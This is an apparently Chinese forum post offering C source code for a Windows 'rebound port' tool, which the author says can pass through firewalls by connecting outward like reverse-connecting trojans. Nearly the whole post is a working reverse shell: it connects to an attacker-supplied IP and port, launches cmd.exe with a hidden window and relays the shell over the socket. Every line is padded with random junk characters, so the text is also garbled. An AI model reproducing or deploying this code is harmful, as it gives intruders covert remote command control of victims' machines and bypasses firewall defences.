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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LFf`K)q  
RMP9y$~3pU  
/* ============================== , ZFE(  
Rebound port in Windows NT \/5RL@X}  
By wind,2006/7 QDTNx!WL  
===============================*/ 73F5d/n  
#include fU+Pn@'  
#include 3BQ!qO17^d  
p2 %  
#pragma comment(lib,"wsock32.lib") GF$`BGW  
1^G{tlA-  
void OutputShell(); '@=PGpRF  
SOCKET sClient; rwf^,r"r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W?Ww2Lo%Y  
GTl xq%?b  
void main(int argc,char **argv) s?C&s|'.  
{ j !H^-d}q  
WSADATA stWsaData; F0lOlS   
int nRet; pA}S5x  
SOCKADDR_IN stSaiClient,stSaiServer; /)L 0`:I#  
>m6&bfy\q  
if(argc != 3) 3n;K!L%zMT  
{ ZH 6\><My  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5:.{oSy7n  
return; Y.6SOu5$]  
} I5ZqBB  
kHK0(bYK  
WSAStartup(MAKEWORD(2,2),&stWsaData); tJ0NPI56yP  
r@G#[.*A>  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b #fTAC;<  
v6=-g$FG  
stSaiClient.sin_family = AF_INET; f!_ ctp  
stSaiClient.sin_port = htons(0); Rl~T$ Ey  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sW@krBxMv  
T^.Cc--c  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =/0=$\Ws  
{ c3TKl/  
printf("Bind Socket Failed!\n"); zZ-\a[F  
return; ~FU@wV^   
} /8'S1!zc  
IH *s8tPc  
stSaiServer.sin_family = AF_INET; ?Bi*1V<R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s%4M$ e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w?Ju5 5  
KvFMs\o6p  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q8P.,%   
{ 9LJZ-/Wq  
printf("Connect Error!"); "2ru7Y"  
return; $.%rAa_H  
} J9~i%hzr  
OutputShell(); l`9t}  
} ;E^K.6  
s@4nWe  
void OutputShell() *XOJnyC_H  
{ ),:c+~@@kT  
char szBuff[1024]; w*9br SK  
SECURITY_ATTRIBUTES stSecurityAttributes; y[};J vk  
OSVERSIONINFO stOsversionInfo; _f0C Y"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KL,/2 (  
STARTUPINFO stStartupInfo; hB;VCg8  
char *szShell; ^"\s eS  
PROCESS_INFORMATION stProcessInformation; {y=W6uP  
unsigned long lBytesRead; uP $ Cj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZzGahtx)Y  
PXoz*)tk  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;h=*!7:  
stSecurityAttributes.lpSecurityDescriptor = 0; uQ$^;Pr  
stSecurityAttributes.bInheritHandle = TRUE; 'wasZ b<^  
e!-,PU9+  
+gd2|`#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {]*x*aa\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vgb *% I  
lA(Q@yEW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _Q%vK*n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h5_G4J{1  
stStartupInfo.wShowWindow = SW_HIDE; Jq.lT(E8D  
stStartupInfo.hStdInput = hReadPipe; gU^$Sx7'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~[o 4a'  
3f Xv4R;!:  
GetVersionEx(&stOsversionInfo); %_-zWVJ  
5wao1sd#  
switch(stOsversionInfo.dwPlatformId) / O/`<  
{ JG[o"&Sd  
case 1: r~-.nb"P  
szShell = "command.com"; -~[9U,  
break; 5vAf7\*  
default: )5j;KI%t  
szShell = "cmd.exe"; `O?TUQGR  
break; 0 S_':r   
} c}*2$1  
XIo55*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '3]p29v{  
{CG_P,FO  
send(sClient,szMsg,77,0); r"2V  
while(1) o}Odw;  
{ unJid8Lo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -! ;l~#K=  
if(lBytesRead) p^nL&yIW,%  
{ $8USyGi3J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _I`,Br:N  
send(sClient,szBuff,lBytesRead,0); )D'^3) FF  
} :WI.LKlo~  
else 07Gv*.  
{ "\Egs)\  
lBytesRead=recv(sClient,szBuff,1024,0); ;= j@, yu  
if(lBytesRead<=0) break; cfox7FmW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Xtz-\v#0o'  
} O1 .w,U  
} |4mpohX  
)b<k#(i@#  
return; f\+f o  
}
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